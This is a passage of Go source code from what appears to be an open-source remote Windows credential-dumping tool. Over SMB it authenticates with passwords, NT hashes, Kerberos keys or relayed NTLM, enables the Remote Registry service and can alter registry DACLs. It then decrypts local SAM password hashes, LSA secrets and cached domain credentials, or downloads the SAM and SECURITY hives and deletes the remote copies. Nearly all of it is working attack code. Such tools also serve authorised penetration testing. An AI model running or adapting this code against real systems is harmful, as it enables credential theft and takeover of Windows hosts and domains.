scanner.Err(); err != nil { 383 | log.Errorln(err) 384 | return err 385 | } 386 | 387 | m = daclMap 388 | 389 | return tryRollbackChanges(rpccon, hKey, keys) 390 | } 391 | 392 | func tryRollbackChanges(rpccon *msrrp.RPCCon, hKey []byte, keys []string) error { 393 | if len(keys) == 0 { 394 | return nil 395 | } 396 | log.Infoln("Attempting to restore security descriptors") 397 | // Rollback changes in reverse order 398 | for i, j := 0, len(keys)-1; i < j; i, j = i+1, j-1 { 399 | keys[i], keys[j] = keys[j], keys[i] 400 | } 401 | err := revertDacl(rpccon, hKey, keys) 402 | if err != nil { 403 | log.Errorln(err) 404 | return err 405 | } 406 | return nil 407 | } 408 | 409 | func addToListIfNotExit(list *[]string, keys []string) []string { 410 | newKeys := []string{} 411 | OuterLoop: 412 | for _, key := range keys { 413 | for _, k := range *list { 414 | if key == k { 415 | continue OuterLoop 416 | } 417 | } 418 | // Key was not already added to the list 419 | newKeys = append(newKeys, key) 420 | } 421 | // Add only if they do not already exist 422 | *list = append(*list, newKeys...) 423 | return newKeys 424 | } 425 | 426 | func dumpSAM(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) (err error) { 427 | 428 | keys := []string{ 429 | `SAM\SAM`, 430 | `SAM\SAM\Domains`, 431 | `SAM\SAM\Domains\Account`, 432 | `SAM\SAM\Domains\Account\Users`, 433 | } 434 | if modifyDacl { 435 | registryKeysModified = append(registryKeysModified, keys...) 436 | // Grant temporarily higher permissions to the local administrators group 437 | err = changeDacl(rpccon, hKey, keys, administratorsSID) 438 | if err != nil { 439 | log.Errorln(err) 440 | return 441 | } 442 | } 443 | 444 | // Get RIDs of local users 445 | keyUsers := `SAM\SAM\Domains\Account\Users` 446 | var rids []string 447 | if modifyDacl { 448 | rids, err = rpccon.GetSubKeyNames(hKey, keyUsers) 449 | } else { 450 | rids, err = rpccon.GetSubKeyNamesExt(hKey, keyUsers, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 451 | } 452 | if err != nil { 453 | log.Errorln(err) 454 | return err 455 | } 456 | 457 | rids = rids[:len(rids)-1] 458 | for i := range rids { 459 | rids[i] = fmt.Sprintf("%s\\%s", keyUsers, rids[i]) 460 | } 461 | 462 | if modifyDacl { 463 | // Extend the list of keys that have temporarily altered permissions 464 | registryKeysModified = append(registryKeysModified, rids...) 465 | // Grant temporarily higher permissions to the local administrators group 466 | err = changeDacl(rpccon, hKey, rids, administratorsSID) 467 | if err != nil { 468 | log.Errorln(err) 469 | return err 470 | } 471 | } 472 | 473 | syskey, err := getSysKey(rpccon, hKey, modifyDacl) 474 | if err != nil { 475 | log.Errorln(err) 476 | return err 477 | } 478 | 479 | // Gather credentials/secrets 480 | creds, err := getNTHash(rpccon, hKey, rids, modifyDacl) 481 | if err != nil { 482 | log.Errorln(err) 483 | // Try to get other secrets instead of hard fail 484 | } else { 485 | //TODO Rewrite handling of creds to not print to stdout until the end 486 | // Would be nice to be able to choose writing output to file, or somewhere else 487 | for _, cred := range creds { 488 | acc := sam_account{name: cred.Username, rid: cred.RID} 489 | //fmt.Printf("Name: %s\n", cred.Username) 490 | //fmt.Printf("RID: %d\n", cred.RID) 491 | if len(cred.Data) == 0 { 492 | //fmt.Printf("NT: \n\n") 493 | acc.nthash = "" 494 | samSecretList = append(samSecretList, &acc) 495 | continue 496 | } 497 | var hash []byte 498 | if cred.AES { 499 | hash, err = DecryptAESHash(cred.Data, cred.IV, syskey, cred.RID) 500 | } else { 501 | hash, err = DecryptRC4Hash(cred.Data, syskey, cred.RID) 502 | } 503 | acc.nthash = fmt.Sprintf("%x", hash) 504 | samSecretList = append(samSecretList, &acc) 505 | //fmt.Printf("NT: %x\n\n", hash) 506 | } 507 | } 508 | 509 | return nil 510 | } 511 | 512 | func dumpLSASecrets(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) (err error) { 513 | keys := []string{ 514 | `SECURITY\Policy\Secrets`, 515 | `SECURITY\Policy\Secrets\NL$KM`, 516 | `SECURITY\Policy\Secrets\NL$KM\CurrVal`, 517 | `SECURITY\Policy\PolEKList`, 518 | `SECURITY\Policy\PolSecretEncryptionKey`, 519 | } 520 | 521 | if modifyDacl { 522 | registryKeysModified = append(registryKeysModified, keys...) 523 | 524 | // Grant temporarily higher permissions to the local administrators group 525 | err := changeDacl(rpccon, hKey, keys, administratorsSID) 526 | if err != nil { 527 | log.Errorln(err) 528 | return err 529 | } 530 | } 531 | 532 | // Get names of lsa secrets 533 | keySecrets := `SECURITY\Policy\Secrets` 534 | var secrets []string 535 | if modifyDacl { 536 | secrets, err = rpccon.GetSubKeyNames(hKey, keySecrets) 537 | } else { 538 | secrets, err = rpccon.GetSubKeyNamesExt(hKey, keySecrets, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 539 | } 540 | if err != nil { 541 | log.Errorln(err) 542 | return err 543 | } 544 | 545 | if modifyDacl { 546 | newSecrets := make([]string, 0, len(secrets)*2) 547 | for i := range secrets { 548 | newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s", keySecrets, secrets[i])) 549 | newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s\\%s", keySecrets, secrets[i], "CurrVal")) 550 | } 551 | 552 | newKeys := addToListIfNotExit(®istryKeysModified, newSecrets) 553 | err = changeDacl(rpccon, hKey, newKeys, administratorsSID) 554 | if err != nil { 555 | log.Errorln(err) 556 | return err 557 | } 558 | } 559 | 560 | lsaSecrets, err := GetLSASecrets(rpccon, hKey, false, modifyDacl) 561 | if err != nil { 562 | log.Noticeln("Failed to get lsa secrets") 563 | log.Errorln(err) 564 | return err 565 | } 566 | for i := range lsaSecrets { 567 | lsaSecretList = append(lsaSecretList, &lsaSecrets[i]) 568 | } 569 | 570 | //if len(lsaSecrets) > 0 { 571 | // fmt.Println("[*] LSA Secrets:") 572 | // for _, secret := range lsaSecrets { 573 | // fmt.Println(secret.secretType) 574 | // for _, item := range secret.secrets { 575 | // fmt.Println(item) 576 | // } 577 | // if secret.extraSecret != "" { 578 | // fmt.Println(secret.extraSecret) 579 | // } 580 | // } 581 | //} 582 | 583 | return nil 584 | } 585 | 586 | func dumpDCC2Cache(rpccon *msrrp.RPCCon, hKey []byte, modifyDacl bool) error { 587 | keys := []string{ 588 | `SECURITY\Policy\Secrets`, 589 | `SECURITY\Policy\Secrets\NL$KM`, 590 | `SECURITY\Policy\Secrets\NL$KM\CurrVal`, 591 | `SECURITY\Policy\PolEKList`, 592 | `SECURITY\Policy\PolSecretEncryptionKey`, 593 | `SECURITY\Cache`, 594 | } 595 | 596 | if modifyDacl { 597 | newKeys := addToListIfNotExit(®istryKeysModified, keys) 598 | // Grant temporarily higher permissions to the local administrators group 599 | err := changeDacl(rpccon, hKey, newKeys, administratorsSID) 600 | if err != nil { 601 | log.Errorln(err) 602 | return err 603 | } 604 | } 605 | 606 | cachedHashes, err := GetCachedHashes(rpccon, hKey, modifyDacl) 607 | if err != nil { 608 | log.Errorln(err) 609 | return err 610 | } 611 | 612 | for _, hash := range cachedHashes { 613 | userdomain := strings.Split(hash, ":")[0] 614 | parts := strings.Split(userdomain, "/") 615 | dcc2SecretList = append(dcc2SecretList, &dcc2_cache{domain: parts[0], user: parts[1], cache: hash}) 616 | } 617 | 618 | //if len(cachedHashes) > 0 { 619 | // //fmt.Println("[*] Dumping cached domain logon information (domain/username:hash)") 620 | // for _, secret := range cachedHashes { 621 | // userdomain := strings.Split(secret, ":")[0] 622 | // parts := strings.Split(userdomain, "/") 623 | // _ = dcc2_cache{ 624 | // domain: parts[0], 625 | // user: parts[1], 626 | // cache: secret, 627 | // } 628 | // } 629 | //} 630 | 631 | return nil 632 | } 633 | 634 | func downloadAndDeleteFile(session *smb.Connection, localFilename, remotePath string) (err error) { 635 | // Convert to valid remote path 636 | parts := strings.Split(remotePath, ":\\") 637 | if len(parts) > 1 { 638 | remotePath = parts[1] 639 | } 640 | 641 | f, err := os.OpenFile(localFilename, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0600) 642 | if err != nil { 643 | log.Errorln(err) 644 | return 645 | } 646 | defer f.Close() 647 | 648 | // Call library function to retrieve the file 649 | log.Infof("Trying to download remote file C:\\%s\n", remotePath) 650 | err = session.RetrieveFile("C$", remotePath, 0, f.Write) 651 | if err != nil { 652 | log.Errorf("Failed to retrieve remote file C:\\%s with error: %s\n", remotePath, err) 653 | } else { 654 | log.Infof("Successfully downloaded %s\n", remotePath) 655 | } 656 | 657 | // Remove the remote files 658 | log.Infof("Trying to delete remote file C:\\%s\n", remotePath) 659 | err = session.DeleteFile("C$", remotePath) 660 | if err != nil { 661 | log.Errorf("Failed to delete remote file C:\\%s with error: %s\n", remotePath, err) 662 | return 663 | } else { 664 | log.Infof("Successfully deleted remote file C:\\%s\n", remotePath) 665 | } 666 | 667 | return 668 | } 669 | 670 | func dumpOffline(session *smb.Connection, rpccon *msrrp.RPCCon, hKey []byte, dst string) (err error) { 671 | 672 | log.Infoln("Attempting to dump SAM and SECURITY hives to disk and then retrieve the files for local parsing using some other tool") 673 | windowsPath := strings.ReplaceAll(dst, "/", "\\") 674 | // Ensure the path ends with a backslash 675 | if !strings.HasSuffix(windowsPath, "\\") { 676 | windowsPath += "\\" 677 | } 678 | samPath := windowsPath + getRandString(7) + ".log" 679 | securityPath := windowsPath + getRandString(7) + ".log" 680 | 681 | // Dump SAM 682 | // Open a key handle 683 | hSubKey, err := rpccon.OpenSubKey(hKey, "SAM") 684 | if err != nil { 685 | log.Errorln(err) 686 | return 687 | } 688 | err = rpccon.RegSaveKey(hSubKey, samPath, "") 689 | if err != nil { 690 | log.Errorln(err) 691 | rpccon.CloseKeyHandle(hSubKey) 692 | return 693 | } 694 | rpccon.CloseKeyHandle(hSubKey) 695 | log.Infof("Dumped SAM hive to %s\n", samPath) 696 | 697 | // Retrieve the file 698 | err = downloadAndDeleteFile(session, "sam.dmp", samPath) 699 | if err != nil { 700 | log.Errorln(err) 701 | return 702 | } 703 | 704 | // Dump SECURITY 705 | // Open a key handle 706 | hSubKey, err = rpccon.OpenSubKey(hKey, "SECURITY") 707 | if err != nil { 708 | log.Errorln(err) 709 | return 710 | } 711 | err = rpccon.RegSaveKey(hSubKey, securityPath, "") 712 | if err != nil { 713 | log.Errorln(err) 714 | rpccon.CloseKeyHandle(hSubKey) 715 | return 716 | } 717 | rpccon.CloseKeyHandle(hSubKey) 718 | log.Infof("Dumped SECURITY hive to %s\n", securityPath) 719 | 720 | // Retrieve the file 721 | err = downloadAndDeleteFile(session, "security.dmp", securityPath) 722 | if err != nil { 723 | log.Errorln(err) 724 | return 725 | } 726 | 727 | // Dump the bootkey 728 | bootkey, err := getBootKey(rpccon, hKey) 729 | if err != nil { 730 | log.Errorf("Failed to extract the Bootkey from the SYSTEM hive with error: %s\n", err) 731 | return 732 | } 733 | 734 | fmt.Println("Downloaded SAM and SECURITY hives to local files sam.dmp and security.dmp") 735 | fmt.Printf("Bootkey for decrypting SAM and SECURITY hives: %x\n", bootkey) 736 | 737 | return nil 738 | } 739 | 740 | var helpMsg = ` 741 | Usage: ` + os.Args[0] + ` [options] 742 | 743 | options: 744 | --host Hostname or ip address of remote server. Must be hostname when using Kerberos 745 | -P, --port SMB Port (default 445) 746 | -d, --domain Domain name to use for login 747 | -u, --user Username 748 | -p, --pass Password 749 | -n, --no-pass Disable password prompt and send no credentials 750 | --hash Hex encoded NT Hash for user password 751 | --local Authenticate as a local user instead of domain user 752 | -k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux) 753 | --dc-ip Optionally specify ip of KDC when using Kerberos authentication 754 | --target-ip Optionally specify ip of target when using Kerberos authentication 755 | --aes-key Use a hex encoded AES128/256 key for Kerberos authentication 756 | --dump Saves the SAM and SECURITY hives to disk and 757 | transfers them to the local machine. 758 | --sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included. 759 | --lsa Extract LSA secrets explicitly. Only other explicit targets are included. 760 | --dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included. 761 | --modify-dacl Change DACLs of reg keys before dump. 762 | Only required if keys cannot be opened using SeBackupPrivilege. (default false) 763 | --backup-dacl Save original DACLs to disk before modification 764 | --restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails. 765 | --backup-file Filename for DACL backup (default dacl.backup) 766 | --relay Start an SMB listener that will relay incoming 767 | NTLM authentications to the remote server and 768 | use that connection. NOTE that this forces SMB 2.1 769 | without encryption. 770 | --relay-port Listening port for relay (default 445) 771 | --socks-host Establish connection via a SOCKS5 proxy server 772 | --socks-port SOCKS5 proxy port (default 1080) 773 | -t, --timeout Dial timeout in seconds (default 5) 774 | --noenc Disable smb encryption 775 | --smb2 Force smb 2.1 776 | --debug Enable debug logging 777 | --verbose Enable verbose logging 778 | -o, --output Filename for writing results (default is stdout). Will append to file if it exists. 779 | -v, --version Show version 780 | ` 781 | 782 | func main() { 783 | var host, username, password, hash, domain, socksIP, backupFilename, outputFilename, targetIP, dcIP, aesKey string 784 | var port, dialTimeout, socksPort, relayPort int 785 | var debug, noEnc, forceSMB2, localUser, dump, version, verbose, relay, noPass, sam, lsaSecrets, dcc2, modifyDacl, backupDacl, restoreDacl, kerberos bool 786 | var err error 787 | 788 | flag.Usage = func() { 789 | fmt.Println(helpMsg) 790 | os.Exit(0) 791 | } 792 | 793 | flag.StringVar(&host, "host", "", "") 794 | flag.StringVar(&username, "u", "", "") 795 | flag.StringVar(&username, "user", "", "") 796 | flag.StringVar(&password, "p", "", "") 797 | flag.StringVar(&password, "pass", "", "") 798 | flag.StringVar(&hash, "hash", "", "") 799 | flag.StringVar(&domain, "d", "", "") 800 | flag.StringVar(&domain, "domain", "", "") 801 | flag.IntVar(&port, "P", 445, "") 802 | flag.IntVar(&port, "port", 445, "") 803 | flag.BoolVar(&debug, "debug", false, "") 804 | flag.BoolVar(&verbose, "verbose", false, "") 805 | flag.BoolVar(&noEnc, "noenc", false, "") 806 | flag.BoolVar(&forceSMB2, "smb2", false, "") 807 | flag.BoolVar(&localUser, "local", false, "") 808 | flag.BoolVar(&dump, "dump", false, "") 809 | flag.IntVar(&dialTimeout, "t", 5, "") 810 | flag.IntVar(&dialTimeout, "timeout", 5, "") 811 | flag.BoolVar(&version, "v", false, "") 812 | flag.BoolVar(&version, "version", false, "") 813 | flag.BoolVar(&relay, "relay", false, "") 814 | flag.IntVar(&relayPort, "relay-port", 445, "") 815 | flag.StringVar(&socksIP, "socks-host", "", "") 816 | flag.IntVar(&socksPort, "socks-port", 1080, "") 817 | flag.BoolVar(&noPass, "no-pass", false, "") 818 | flag.BoolVar(&noPass, "n", false, "") 819 | flag.BoolVar(&sam, "sam", false, "") 820 | flag.BoolVar(&lsaSecrets, "lsa", false, "") 821 | flag.BoolVar(&dcc2, "dcc2", false, "") 822 | flag.BoolVar(&modifyDacl, "modify-dacl", false, "") 823 | flag.BoolVar(&backupDacl, "backup-dacl", false, "") 824 | flag.BoolVar(&restoreDacl, "restore-dacl", false, "") 825 | flag.StringVar(&backupFilename, "backup-file", "dacl.backup", "") 826 | flag.StringVar(&outputFilename, "o", "", "") 827 | flag.StringVar(&outputFilename, "output", "", "") 828 | flag.BoolVar(&kerberos, "k", false, "") 829 | flag.BoolVar(&kerberos, "kerberos", false, "") 830 | flag.StringVar(&targetIP, "target-ip", "", "") 831 | flag.StringVar(&dcIP, "dc-ip", "", "") 832 | flag.StringVar(&aesKey, "aes-key", "", "") 833 | 834 | flag.Parse() 835 | 836 | if debug { 837 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 838 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 839 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 840 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 841 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 842 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 843 | log.SetFlags(golog.LstdFlags | golog.Lshortfile) 844 | log.SetLogLevel(golog.LevelDebug) 845 | } else if verbose { 846 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 847 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 848 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 849 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 850 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 851 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 852 | log.SetFlags(golog.LstdFlags | golog.Lshortfile) 853 | log.SetLogLevel(golog.LevelInfo) 854 | } else { 855 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 856 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 857 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 858 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 859 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 860 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 861 | } 862 | 863 | if version { 864 | fmt.Printf("Version: %s\n", release) 865 | bi, ok := rundebug.ReadBuildInfo() 866 | if !ok { 867 | log.Errorln("Failed to read build info to locate version imported modules") 868 | } 869 | for _, m := range bi.Deps { 870 | fmt.Printf("Package: %s, Version: %s\n", m.Path, m.Version) 871 | } 872 | return 873 | } 874 | 875 | if !sam && !lsaSecrets && !dcc2 { 876 | // If no individual target to dump is set, dump everything 877 | sam = true 878 | lsaSecrets = true 879 | dcc2 = true 880 | } 881 | 882 | if backupDacl && restoreDacl { 883 | log.Errorln("Can't specify both --backup-dacl and --restore-dacl at the same time.") 884 | flag.Usage() 885 | return 886 | } 887 | 888 | if backupDacl { 889 | daclBackupFile, err = os.OpenFile(backupFilename, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0600) 890 | if err != nil { 891 | log.Errorf("Failed to create local file %s to store original DACLs before modification with error: %s\n", backupFilename, err) 892 | return 893 | } 894 | defer daclBackupFile.Close() 895 | } else if restoreDacl { 896 | daclBackupFile, err = os.Open(backupFilename) 897 | if err != nil { 898 | log.Errorf("Failed to open local file %s to read original DACLs before restoring the ACLs with error: %s\n", backupFilename, err) 899 | return 900 | } 901 | defer daclBackupFile.Close() 902 | } 903 | 904 | if outputFilename != "" { 905 | outputFile, err = os.OpenFile(outputFilename, os.O_RDWR|os.O_APPEND|os.O_CREATE, 0600) 906 | if err != nil { 907 | log.Errorf("Failed to open local file %s for writing results with error: %s\n", outputFilename, err) 908 | return 909 | } 910 | defer outputFile.Close() 911 | } 912 | 913 | share := "" 914 | var hashBytes []byte 915 | var aesKeyBytes []byte 916 | 917 | if host == "" && targetIP == "" { 918 | log.Errorln("Must specify a hostname or ip") 919 | flag.Usage() 920 | return 921 | } 922 | if host != "" && targetIP == "" { 923 | targetIP = host 924 | } else if host == "" && targetIP != "" { 925 | host = targetIP 926 | } 927 | 928 | if socksIP != "" && isFlagSet("timeout") { 929 | log.Errorln("When a socks proxy is specified, --timeout is not supported") 930 | flag.Usage() 931 | return 932 | } 933 | 934 | if dialTimeout < 1 { 935 | log.Errorln("Valid value for the timeout is > 0 seconds") 936 | return 937 | } 938 | 939 | if hash != "" { 940 | hashBytes, err = hex.DecodeString(hash) 941 | if err != nil { 942 | fmt.Println("Failed to decode hash") 943 | log.Errorln(err) 944 | return 945 | } 946 | } 947 | 948 | if aesKey != "" { 949 | aesKeyBytes, err = hex.DecodeString(aesKey) 950 | if err != nil { 951 | fmt.Println("Failed to decode aesKey") 952 | log.Errorln(err) 953 | return 954 | } 955 | if len(aesKeyBytes) != 16 && len(aesKeyBytes) != 32 { 956 | fmt.Println("Invalid keysize of AES Key") 957 | return 958 | } 959 | } 960 | 961 | if aesKey != "" && !kerberos { 962 | fmt.Println("Must use Kerberos auth (-k) when using --aes-key") 963 | flag.Usage() 964 | } 965 | 966 | if noPass { 967 | password = "" 968 | hashBytes = nil 969 | aesKeyBytes = nil 970 | } else { 971 | if (password == "") && (hashBytes == nil) && (aesKeyBytes == nil) { 972 | fmt.Printf("Enter password: ") 973 | passBytes, err := term.ReadPassword(int(os.Stdin.Fd())) 974 | fmt.Println() 975 | if err != nil { 976 | log.Errorln(err) 977 | return 978 | } 979 | password = string(passBytes) 980 | } 981 | } 982 | 983 | smbOptions := smb.Options{ 984 | Host: targetIP, 985 | Port: port, 986 | DisableEncryption: noEnc, 987 | ForceSMB2: forceSMB2, 988 | //DisableSigning: true, 989 | } 990 | 991 | if kerberos { 992 | smbOptions.Initiator = &spnego.KRB5Initiator{ 993 | User: username, 994 | Password: password, 995 | Domain: domain, 996 | Hash: hashBytes, 997 | AESKey: aesKeyBytes, 998 | SPN: "cifs/" + host, 999 | DCIP: dcIP, 1000 | } 1001 | } else { 1002 | smbOptions.Initiator = &spnego.NTLMInitiator{ 1003 | User: username, 1004 | Password: password, 1005 | Hash: hashBytes, 1006 | Domain: domain, 1007 | LocalUser: localUser, 1008 | } 1009 | } 1010 | 1011 | // Only if not using SOCKS 1012 | if socksIP == "" { 1013 | smbOptions.DialTimeout, err = time.ParseDuration(fmt.Sprintf("%ds", dialTimeout)) 1014 | if err != nil { 1015 | log.Errorln(err) 1016 | return 1017 | } 1018 | } 1019 | 1020 | var session *smb.Connection 1021 | 1022 | if socksIP != "" { 1023 | dialSocksProxy, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%d", socksIP, socksPort), nil, proxy.Direct) 1024 | if err != nil { 1025 | log.Errorln(err) 1026 | return 1027 | } 1028 | smbOptions.ProxyDialer = dialSocksProxy 1029 | } 1030 | 1031 | if relay { 1032 | smbOptions.RelayPort = relayPort 1033 | session, err = smb.NewRelayConnection(smbOptions) 1034 | } else { 1035 | session, err = smb.NewConnection(smbOptions) 1036 | } 1037 | if err != nil { 1038 | log.Criticalln(err) 1039 | return 1040 | } 1041 | defer session.Close() 1042 | 1043 | if session.IsSigningRequired() { 1044 | log.Noticeln("[-] Signing is required") 1045 | } else { 1046 | log.Noticeln("[+] Signing is NOT required") 1047 | } 1048 | 1049 | if session.IsAuthenticated() { 1050 | log.Noticef("[+] Login successful as %s\n", session.GetAuthUsername()) 1051 | } else { 1052 | log.Noticeln("[-] Login failed") 1053 | return 1054 | } 1055 | 1056 | // Connect to IPC$ share 1057 | share = "IPC$" 1058 | err = session.TreeConnect(share) 1059 | if err != nil { 1060 | log.Errorln(err) 1061 | return 1062 | } 1063 | defer session.TreeDisconnect(share) 1064 | 1065 | // Check if RemoteRegistry is running, and if not, enable it 1066 | registryStarted, registryDisabled, err := startRemoteRegistry(session, share) 1067 | if err != nil { 1068 | log.Errorln(err) 1069 | return 1070 | } 1071 | 1072 | defer func() { 1073 | if !registryStarted { 1074 | err = stopRemoteRegistry(session, share, registryDisabled) 1075 | if err != nil { 1076 | log.Errorf("Failed to restore status of RemoteRegistry service with error: %s\n", err) 1077 | } 1078 | } 1079 | }() 1080 | 1081 | // Open connection to Windows Remote Registry pipe 1082 | f, err := session.OpenFile(share, msrrp.MSRRPPipe) 1083 | if err != nil { 1084 | log.Errorln(err) 1085 | return 1086 | } 1087 | defer f.CloseFile() 1088 | 1089 | // Bind to Windows Remote Registry service 1090 | bind, err := dcerpc.Bind(f, msrrp.MSRRPUuid, msrrp.MSRRPMajorVersion, msrrp.MSRRPMinorVersion, msrrp.NDRUuid) 1091 | if err != nil { 1092 | log.Errorln("Failed to bind to service") 1093 | log.Errorln(err) 1094 | return 1095 | } 1096 | 1097 | // RPCCon is a wrapper for an RPC Bind that implements the Remote Registry functions 1098 | rpccon := msrrp.NewRPCCon(bind) 1099 | 1100 | hKey, err := rpccon.OpenBaseKey(msrrp.HKEYLocalMachine) 1101 | if err != nil { 1102 | log.Errorln(err) 1103 | return 1104 | } 1105 | defer rpccon.CloseKeyHandle(hKey) 1106 | 1107 | if restoreDacl { 1108 | restoreDaclFromBackup(rpccon, hKey) 1109 | return 1110 | } 1111 | 1112 | if dump { 1113 | err = dumpOffline(session, rpccon, hKey, "C:/windows/temp") 1114 | if err != nil { 1115 | log.Errorln(err) 1116 | return 1117 | } 1118 | } else { 1119 | defer func() { 1120 | // If calling defer on tryRollbackChanges directly, all the arguments 1121 | // will be locked to their current values at time of calling defer 1122 | tryRollbackChanges(rpccon, hKey, registryKeysModified) 1123 | }() 1124 | 1125 | if sam { 1126 | err = dumpSAM(rpccon, hKey, modifyDacl) 1127 | if err != nil { 1128 | log.Errorln(err) 1129 | return 1130 | } 1131 | } 1132 | if lsaSecrets { 1133 | err = dumpLSASecrets(rpccon, hKey, modifyDacl) 1134 | if err != nil { 1135 | log.Errorln(err) 1136 | return 1137 | } 1138 | } 1139 | if dcc2 { 1140 | err = dumpDCC2Cache(rpccon, hKey, modifyDacl) 1141 | if err != nil { 1142 | log.Errorln(err) 1143 | return 1144 | } 1145 | } 1146 | 1147 | // Print results 1148 | var out io.Writer 1149 | if outputFile != nil { 1150 | out = outputFile 1151 | } else { 1152 | out = os.Stdout 1153 | } 1154 | //TODO Write name of host? 1155 | if len(samSecretList) > 0 { 1156 | fmt.Fprintln(out, "[*] Dumping local SAM hashes") 1157 | for i := range samSecretList { 1158 | samSecretList[i].printSecret(out) 1159 | } 1160 | } 1161 | if len(lsaSecretList) > 0 { 1162 | fmt.Fprintln(out, "[*] Dumping LSA Secrets") 1163 | for i := range lsaSecretList { 1164 | lsaSecretList[i].printSecret(out) 1165 | } 1166 | } 1167 | if len(dcc2SecretList) > 0 { 1168 | fmt.Fprintln(out, "[*] Dumping cached domain credentials (domain/username:hash)") 1169 | for i := range dcc2SecretList { 1170 | dcc2SecretList[i].printSecret(out) 1171 | } 1172 | } 1173 | } 1174 | } 1175 | -------------------------------------------------------------------------------- /sam.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "bytes" 26 | "crypto/aes" 27 | "crypto/cipher" 28 | "crypto/md5" 29 | "crypto/rc4" 30 | "encoding/binary" 31 | "encoding/hex" 32 | "fmt" 33 | "strconv" 34 | "strings" 35 | 36 | "github.com/jfjallid/go-smb/smb/dcerpc/msrrp" 37 | "github.com/jfjallid/go-smb/smb/encoder" 38 | "golang.org/x/crypto/md4" 39 | ) 40 | 41 | var ( 42 | s1 = []byte("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00") 43 | s2 = []byte("0123456789012345678901234567890123456789\x00") 44 | s3 = []byte("NTPASSWORD\x00") 45 | BootKey []byte 46 | LSAKey []byte 47 | NLKMKey []byte 48 | VistaStyle bool 49 | ) 50 | 51 | type UserCreds struct { 52 | Username string 53 | Data []byte 54 | 